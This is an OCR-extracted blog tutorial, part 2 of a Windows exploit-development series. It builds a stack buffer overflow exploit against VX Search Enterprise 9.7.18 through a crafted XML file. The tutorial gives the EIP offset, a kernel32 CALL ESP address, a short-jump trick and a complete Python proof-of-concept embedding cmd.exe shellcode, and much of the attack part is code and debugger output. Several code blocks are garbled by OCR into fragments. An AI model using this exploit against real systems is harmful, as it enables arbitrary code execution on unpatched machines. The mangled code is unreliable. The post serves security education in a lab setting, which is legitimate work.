Zero Day Zen Garden: Windows
Exploit Development - Part 2 [JMP to
Locate Shellcode]

Aug 26, 2017 + Steven Patterson

Hello! Welcome to Part 2, today we’ll be looking at a stack buffer over flow that uses a short jump to
overcome interrupted shellcode on the stack. If you missed Part 1, it can be found here. The
vulnerable program we’re going to be attacking is a file search solution called VX Search Enterprise
version 9.7.18 (download it ). Much of the details for this exploit were obtained from the

page. Once installed, you’ll see the following executables on your Windows XP virtual machine in
the /bin folder:


http://www.shogunlab.com/blog/2017/08/19/zdzg-windows-exploit-1.html
https://www.exploit-db.com/apps/746ec728a4cf975be799c7f509db383e-vxsearchent_setup_v9.7.18.exe
https://www.exploit-db.com/exploits/42181/
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The executable that you will be opening for exploitation is “vxsrchc.exe”, the only one with an icon. VX
Search Enterprise is vulnerable to a stack buffer overflow via a specially crafted XML file opened with
the “Import command...” in the “Command” dropdown menu. The overflow occurs in the “name”
attribute in the “classify” tag.
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To crash the program, you’ll need to generate a large ASCII text buffer of 2000 bytes to cause an
overflow on the stack. Go ahead and issue a Python command to generate a large string of A’'s and
copy + paste the contents into the “name” attribute in the crafted XML file named payload.xml below:

python -c “print ‘A’*2000"

payload.xml #1

<?xml version="1.0" encoding="UTF-8"?>
<classify
name='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

</classify>

Save the XML file to the Desktop and go to the “Import command...” button, choose your XML file
and BAM! We get a crash!
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Cool, now that we have found a potential vulnerability we can start trying to craft an exploit. Let’s
begin the exploit development process!

Step 1: Attach debugger and confirm vulnerability

As before in Part 1, we want to start by confirming that EIP is getting overwritten and then proceed to
the next step where we find the offset. Open Immunity Debugger and start debugging vsrchc.exe by

opening it in the “File” menu.
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Press F9 or Debug — Run in the menu. With the program now running, open the XML file through the
“Import command...” in the menu like before and check if you got 0x41414141 in EIP.


http://www.shogunlab.com/blog/2017/08/19/zdzg-windows-exploit-1.html

Also, note that if you try to open the payload.xml file from somewhere other than the Desktop, you
may run into an exception in the program that you’ll need to press Shift-F7 to pass through in the
debugger. This is a little annoying so I'll proceed with the rest of the tutorial by dragging and dropping
payload.xml to the Desktop. If you’d like, feel free to modify things to be more comfortable for you.
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Great! Looks like we’ve got ourselves a pretty straightforward EIP overwrite. Let’s generate a pattern
and identify the offset we need to have to put our own address into EIP in our next step.

Step 2: Find EIP offset and confirm control over EIP value

Use the Mona command below to generate a pattern buffer for our XML payload file:



This is the shorter version of “pattern_create”, copy + paste the ASCII pattern into the XML file where

our A’s buffer was. Restart the program (Ctrl-F2) and run it again (F9) to open up the XML file with the

pattern.
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payload.xml #2

<classify
name="'AalOAalRAa2ha3Rad4PhaSAabAa7Aa8RAa9Ab0Abl1Ab2Ab3AbAAL5SAb6AL7ADSADIACOAC1AC2AC3AC
</classify>

We’ll get another crash, but this time the program is holding onto our pattern buffer.
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Plug in the value we now see in EIP (0x42327A42) into the command below:


https://i.imgur.com/Q9RHzXf.png

This is the short version command for “pattern_offset”.
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We can see from the command output that the offset to EIP is 1536 bytes. You can also run “Imona
findmsp” while the pattern buffer is still in the crashed program to get detailed information about parts
of the program holding the pattern. Be warned though, it takes a few minutes so go and get a cup of
coffee while it does its thing.

Now, let’s confirm our offset by writing a Python proof-of-concept script:

vxsearch_poc.py #1

struct
2000
"\x41"*1536
"<L.", Oxdeadbeef
"\x43" len

'<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\""

open("C:\\payload.xml", "wb"

"\nVX Search Enterprise Stack Buffer Overflow Exploit"
"\nExploit written successfully!"

"Buffer size: " str(len "\n"
Exception

"\nError! Exploit could not be generated, error details follow:\n"

str n\nu

In the above Python script, we are setting up our EIP overwrite by writing 1536 bytes of filler junk
bytes, then we plug in our chosen EIP value (Oxdeadbeef). Next, we write out this buffer to our XML file
that contains the overflow vulnerability and write it to the C:// directory. Let’s run this script and then
drag + drop it to the Desktop. Restart vxsrch.exe in Immunity and “Import command...” the XML file
just like before and inspect the contents of EIP.
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Aha! We have deadbeef! Now that we’ve confirmed we can directly control the EIP value, we can
move onto the next step where we plug in a useful address for code execution.

Step 3: Finding EIP address to JMP ESP and mock code

Let’s try and jump to the stack then execute mock shellcode with interrupt (INT OxCC) instructions like
we did with NScan previously. First, issue a command to Mona that will find a suitable assembly
instruction to get into the stack (after restarting and running the vsrchc.exe program in Immunity):

Open up the jmp.txt file in the logs directory and take a look. It appears as though kernel32.dll is a
good reliable choice, so we’ll pick that.
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Let’s update our Python script and plug in the kernel32.dll CALL ESP address, then put in some mock
shellcode that will pause execution when it’s hit in the debugger:

vxsearch_poc.py #2


https://i.imgur.com/7EtPIuW.png

import struct

Set a consistent total buffer size

K

BUF_SIZE = 2000

junk = "\x41"*1536 # 1536 bytes to hit EIP

eip = struct.pack("<L", 0x7c836a78) # Use little-endian to format address O0x
nops = "\x90"*24 # 24 byte NOP sled to get to mock code
shellcode = "\xCC"*250 # 250 byte block of mock INT shellcode t

exploit = junk + eip + nops + shellcode

fill = "\x43"*(BUF SIZE-len(exploit)) # Calculate number of filler bytes to us
buf = exploit + fill # Combine everything together for exploi

# Write buffer to specially crafted XML file for overflow in "name" attribute

xml payload = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'"' + buf
try:
f = open("C:\\payload.xml", "wb") # Exploit output will be written to C di
f.write(xml payload) # Write entirety of buffer out to file
f.close() # Close file

print "\nVX Search Enterprise Stack Buffer Overflow Exploit"

print "\nExploit written successfully!"

print "Buffer size: " + str(len(buf)) + "\n" # Buffer size sanity check to €
except Exception, e:

print "\nError! Exploit could not be generated, error details follow:\n"

print str(e) + "\n"

You can see that we added in the address 0x7C836A78 for the CALL ESP instruction and added a
“shellcode” variable with 250 bytes of interrupt (OxCC) code preceded by 24 bytes of NOP sled in the
“nops” variable. Again, what this should do is CALL ESP to start executing code from the stack, slide
down the NOP sled into our mock shellcode and then pause. Let’s try this out by running the script,
placing the generated XML on the Desktop, restarting + starting (Ctrl-F2 — F9) the VX Search program
and loading in the XML file. And the results are...



n="1.8" encoding=""UTF-&

Awesome! We hit our INT instructions, but wait... It appears as though our mock shellcode gets
interrupted part way through at 0x00122870 and 0x00122872. We don’t see our mock code there, we
just see some other random instructions. That’s annoying and unexpected... Well, why don’t we just
jump over this? Here is an opportunity for us to learn about how to use short jump assembly
instructions in our exploit code!

Step 4: Using JMP to overcome interrupted shellcode

First, we need to go over some brief theory and how to go about using short jump assembly
instructions in our exploit script. The main objective is to hop over the portion of the stack that
interrupts our shellcode. In assembly, the instruction JMP 10 will cause the instruction pointer to skip
forward by 16 bytes. JMP takes an argument in hex (which is Base 16), so if you want to skip ahead
18 bytes then it would be JMP 12. You can use a online to make these calculations for
you.

The JMP instruction will use relative offset values from 00h to 7Fh, in other words, you can jump to
another instruction with a maximum of 127 bytes in-between them. You can read a very good
explanation of the short JMP x86 assembly instruction

After using a JMP instruction to hop over the messed up portion of the stack, we should put in a NOP
slide in case there are any positional changes on a different system. Ideally, we’d like the JMP to land
us in the middle of a NOP sled. Let’s start adding this into our Python script, first thing to do is
translate JMP 10 into object code. We can do this by using the Mona command:
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We can then begin reviewing the output in the Log window (View — Log or Alt-L, use Alt-C to return
back).

Jmp 18

[+]1 T = ti
HE Modu Les L THO

|!muna assemble -s "jmp 10"

Okay great, so we can plug in the object code “\xeb\x10” to our Python script and use 16 byte NOPs
to reach the part where our jump will land with another 16 byte NOP sled to slide into our shellcode.
Let’s add it to our script below:

vxsearch_poc.py #3

struct
2000
"\x41"*1536
"<L", 0x7c836a78
"\x90"*24
"\xEB\x10"

"\x90"*16+"\x90"*16

"\xCC"*250

"\x43" len

'<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\""



open("C:\\payload.xml", "wb"

"\nVX Search Enterprise Stack Buffer Overflow Exploit"
"\nExploit written successfully!"
"Buffer size: " str(len "\n"
Exception
"\nError! Exploit could not be generated, error details follow:\n"

Str ll\nll

As you can see, we added in our jump instruction in the “jump” variable and inserted our NOP sled
after the jump landing in the “nops2” variable. Now, run the script, restart the program in Immunity and
open the generated XML file with “Import command...”, you should see that we have successfully
hopped over the section of code that was causing us problems and into our mock INT shellcode.
Brilliant!

# | Registers (FPUD
El

on="1.8" sncoding=""UTF

FEFF]
FFFFFFFF
FOFGEE] FFF)

To really drive the point home, we can do a slow motion walkthrough of what’s going on here with the
jump. If you’d like to do this, follow these steps:

» Set a “Hardware, on execution” breakpoint on the JMP instruction we added by right clicking it
while the program is still open in Immunity
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Restart the program and run it again, do the same as before and load in the XML payload file and

you’ll see that the program will pause on the JMP instruction
PR BB 16 JHF SHORT e@

S E I E

AR R b

=

) ENE

Press F7 (or Debug — Step into) to move forward by 1 instruction in the debugger, you’ll see that
we jump forward 16 bytes! Hit F7 again or click the little red arrow beside the pause button to step
forward by 1 again to go through some NOPS.
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Press F9 to run the rest of the instructions and we are now sliding down our NOP sled until...
Bam! We hit the mock shellcode and successfully hopped over the bad portion of the buffer.




* Remember to delete the hardware breakpoint so it doesn’t keep pausing during future debug
sessions by clicking on Debug — Hardware breakpoints then press Delete 1.

SR LT

Hardware breakpoints
: # Baze Size  Stopon
[omzzees | [Execute [ Folowd | | Delete1 |

Pretty cool to see it in action, eh? That’s the wonder of dynamic analysis and debuggers, you can
dissect piece-by-piece a program as it’s running then bring it back to life when it dies, like some kind

of mad scientist.

Step 5: Insert shellcode and confirm code execution

The shellcode we will be using is one that opens up a command prompt (cmd.exe) and terminates the
program that opened it, we’re getting it from shell-storm. Our plan now is to replace our mock
shellcode with the real deal and see if it runs. So, let’s plug it into our script and test it out:

vxsearch poc.py #4 Stack Diagram

16 bytes
F——_—_——————— ar F——_—_———————————
1536 bytes 4 bytes | \ \
S S S e e —_ T R
| | | x|
| junk (AAAAAA...) | eip (0x7C836A78) | NOP sled |JMP| |XX| NOP sle
| |  (0x90) |10 | |xX| (0x90)

S s S e R S

A

+ Bytes int

BUF_SIZE = 2000 bytes

our shell

vxsearch_poc.py #4


http://shell-storm.org/shellcode/files/shellcode-662.php

import struct

BUF SIZE = 2000 #
junk = "\x41"*1536 # 1536 bytes to hit EIP
eip = struct.pack("<L", 0x7c836a78) #
nops = "\x90"*24 #
jump = "\xEB\x10" #
nops2 = "\x90"*16+"\x90"*16 #

# Command
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode
shellcode

prompt (cmd.exe) shellcode + process exit (195 bytes)

"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\XxE2\XFO0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\XFE"
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
"\xFF\xD2\x68\x63\x6D\x64\x01\xXFE\x4C\x24"
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF \XFE"
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
"\x78\x69\x74\x54\xFF\x74\x24\x20\XFF\x54"
"\x24\x20\x57\xFF\xD0"

# Mix it all together and baby, you've got a stew going!

exploit = junk + eip + nops + jump + nops2 + shellcode
fill = "\x43"*(BUF _SIZE-len(exploit))
buf = exploit + fill
xml payload = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'"' + buf
try:
f = open("C:\\payload.xml", "wb")

f.write(xml payload)
f.close()
print "\nVX Search Enterprise JMP Stack Buffer Overflow Exploit"

# Close file

print "\nExploit written successfully!"

print "Buffer size:

except Exception, e:

print "\nError! Exploit could not be generated, error details follow:\n"

print str(e) + "\n"

Set a consistent total buffer size

Use little-endian to format address 0x
24 byte NOP sled to get to shellcode
16 byte short jump over interrupted se

16 byte NOPs to get to jump landing +

# Calculate number of filler bytes to us

# Combine everything together for exploi

# Exploit output will be written to C di
# Write entirety of buffer out to file

" + str(len(buf)) + "\n" # Buffer size sanity check to e



You can see that we added in the cmd.exe shellcode and we now have our final payload. Perform the
usual dance of Ctrl-F2 to restart and F9 to start the vulnerable program with Immunity attached, load
in the generated XML payload file and presto! The program terminated and we have a brand new
command prompt open. Hooray for working payloads!

& - [5]x]

IDOWS\system 32\cr

terminated. exit code GA4ABCSB (1783282779.5 [Terminated |

Reflections and lessons learned

Let’s look back at what we just did and see what lessons can be learned:

¢ You will run into problems during exploit development and that’s OK
o Rarely will you be presented with a completely ideal environment for your exploit to run. Code
you write for exploiting software is by definition, NOT SUPPOSED TO BE THERE. |t is a
foreign invader and you cannot expect everything to be arranged perfectly for your payload.
o Be ready to experience problems and learn to be comfortable with things not going as
planned, then think of ways to compensate and emerge victorious.
e Every program has a unique personality
o | didn’t expect to find a random chunk of code that interrupted my shellcode, but that’s sort of
the fun thing about exploit development. You learn to see every piece of software like a quirky
character that has its own flaws and personality, meaning each case is more or less unique.
¢ Assembly language is very helpful to know
o Because we knew assembly language, we were able to pull the JMP instruction from our bag
of tricks and use it to get around the section of code that was interrupting our payload.
o Having an intimate knowledge of assembly and how instructions can be combined to get your
exploit to run will give you a big advantage as an exploit developer.
¢ Exploit development largely consists of coming up with hypotheses and testing them
o You can see that much of the process from Part 1 carried over, we had a hunch about what
we might be able to do with our vulnerable program and then we tested it with a script. Based
on the results, we asked more questions and tested them again with additions to the script.
And so on until we had a final script and a final question, will this get me arbitrary code
execution? And the final answer was yes!


https://i.imgur.com/hM9qZzA.png
http://www.shogunlab.com/blog/2017/08/19/zdzg-windows-exploit-1.html

o If you stick with this process of generating hypotheses and testing them, while also staying
curious, you will usually come out ahead.

Feedback and looking forward to Part 3

And that’s the end of Part 2! | hope that this discussion of jump instructions to get around interrupts in
shellcode proved helpful to you. At this point, you should be pretty comfortable with the debugging
workflow and exploit development cycle for stack buffer overflows. We’ll start to get into new methods
of exploitation in Part 3 next week. I’ll list some additional resources you can look at for discussions
on even more techniques you can use to hop around the stack at the end of this post.

If you ever want to give me feedback, feel free to tweet at me (@shogun_lab) and follow to keep up to
date with Shogun Lab. Email can be sent to steven@shogunlab.com. RSS feed can be found here.

Hope to see you again for Part 3!
HENERTU,
UPDATE: Part 3 is posted here.

Also, check out the Oresearch podcast. It’s a great source of info to keep up to date on security
news/tools and they gave a mention to this blog at the end of Episode #18. Thanks Alex and Matt!

Locating shellcode with jumps resources

Tutorials

e [Security Sift] Windows Exploit Development — Part 4: Locating Shellcode With Jumps
e [Corelan] Exploit writing tutorial part 2 : Stack Based Overflows — jumping to shellcode
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